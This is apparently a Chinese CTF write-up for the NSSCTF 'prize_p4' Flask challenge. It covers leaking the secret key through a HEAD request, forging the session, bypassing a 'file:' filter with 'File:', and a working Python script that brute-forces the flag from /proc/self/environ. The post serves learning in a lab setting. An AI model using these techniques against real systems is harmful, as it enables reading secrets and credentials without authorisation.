nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

prize_p4

解题

进入题目随便输入东西后,发现是flask的session伪造,但是需要绕过一个点

    @app.route('/getkey', methods=["GET"])
def getkey(): 
    if request.method != "GET": 
        session["key"]=SECRET_KEY

不能使用get方法,我们改post,put都不allowed,那么更换请求方式如HEAD请求得到session,先base64解码,得到2024-01-21T08:38:12.png
发现了key,然后使用脚本,伪造新的数据2024-01-21T08:39:15.png
2024-01-21T08:39:44.png
得到源码

    from flask import Flask, request, session, render_template, 
    url_for,redirect,render_template_string
    import base64
    import urllib.request
    import uuid
    import flag 
    
    SECRET_KEY=str(uuid.uuid4())
    
    app = Flask(__name__)
    app.config.update(dict(
        SECRET_KEY=SECRET_KEY,
    ))
    
    #src in /app
    
    @app.route('/')
    @app.route('/index',methods=['GET'])
    def index():
        return render_template("index.html")
    
    @app.route('/get_data', methods=["GET",'POST'])
    def get_data():
        data = request.form.get('data', '123')
        if type(data) is str:
            data=data.encode('utf8')
        url = request.form.get('url', 'http://127.0.0.1:8888/')
        if data and url:
            session['data'] = data
            session['url'] = url
            session["admin"]=False
            return redirect(url_for('home'))
        return redirect(url_for('/'))
    
    @app.route('/home', methods=["GET"])
    def home():
        if session.get("admin",False):
            return render_template_string(open(__file__).read())
        else:
            return render_template("home.html",data=session.get('data','Not find data...'))
    
    @app.route('/getkey', methods=["GET"])
    def getkey():
        if request.method != "GET":
            session["key"]=SECRET_KEY
        return render_template_string('''@app.route('/getkey', methods=["GET"])
    def getkey():
        if request.method != "GET":
            session["key"]=SECRET_KEY''')
    
    @app.route('/get_hindd_result', methods=["GET"])
    def get_hindd_result():
        if session['data'] and session['url']:
            if 'file:' in session['url']:
                return "no no no"
            data=(session['data']).decode('utf8')
            url_text=urllib.request.urlopen(session['url']).read().decode('utf8')#urllib.request.urlopen() 函数将会返回一个类似文件的对象,可以通过该对象来读取 URL 的内容。为什么我们不直接传入session,非要在这传入,因为decode('utf8'),这里告诉我们需要传入的是原始数据,所以多了一步get_data取值的步骤
            if url_text in data or data in url_text:
                return "you get it"
        return "what ???"
    
    @app.route('/getflag', methods=["GET"])
    def get_flag():
        res = flag.waf(request)
        return res
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', debug=False, port=8888)

审计一下代码
/home就是我们刚刚验证session的地方

/get_data是给session的data和url,admin传入参数

/get_hindd_result就是读取文件,url为session传的url,获取页面数据和传入的data做比较,如果有返回you get it,没有就what???,但是过滤了file,很明显的利用file协议去读文件,大写即可绕过
思考一下读什么文件,我们可以看到引入了flag,那其实一定有文件flag.py
不过看wp都说不好读,读的是环境变量里的proc/self/environ
下面开始写脚本

import string#引入string,方便写list
import requests

url1="http://node4.anna.nssctf.cn:28831/get_data"
url2="http://node4.anna.nssctf.cn:28831/get_hindd_result"
flag="NSSCTF{"
while 1:
    for i in string.printable:
        tmp_flag=flag+i
        data={"url":"File:///proc/self/environ","data":tmp_flag}
        res=requests.session()#获取session的对话
        res.get(url1,data=data)#给session的url和data赋值
        session_tmp=str(res.cookies.values())[2:-2]#res.cookies.values() 返回的是一个 cookies 值的列表。打印出来的值是有['值'],我们只需要值,要进行切片操作,但是必须转化为字符才能截取字符,不然默认为列表切片
        flag_resp=requests.get(url2,cookies={"session":session_tmp})#给cookie赋值,因为读文件是从session取值的
        if "you get it" in flag_resp.text:
            flag+=i
            print(flag)
            break

运行得到flag

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » prize_p4

评论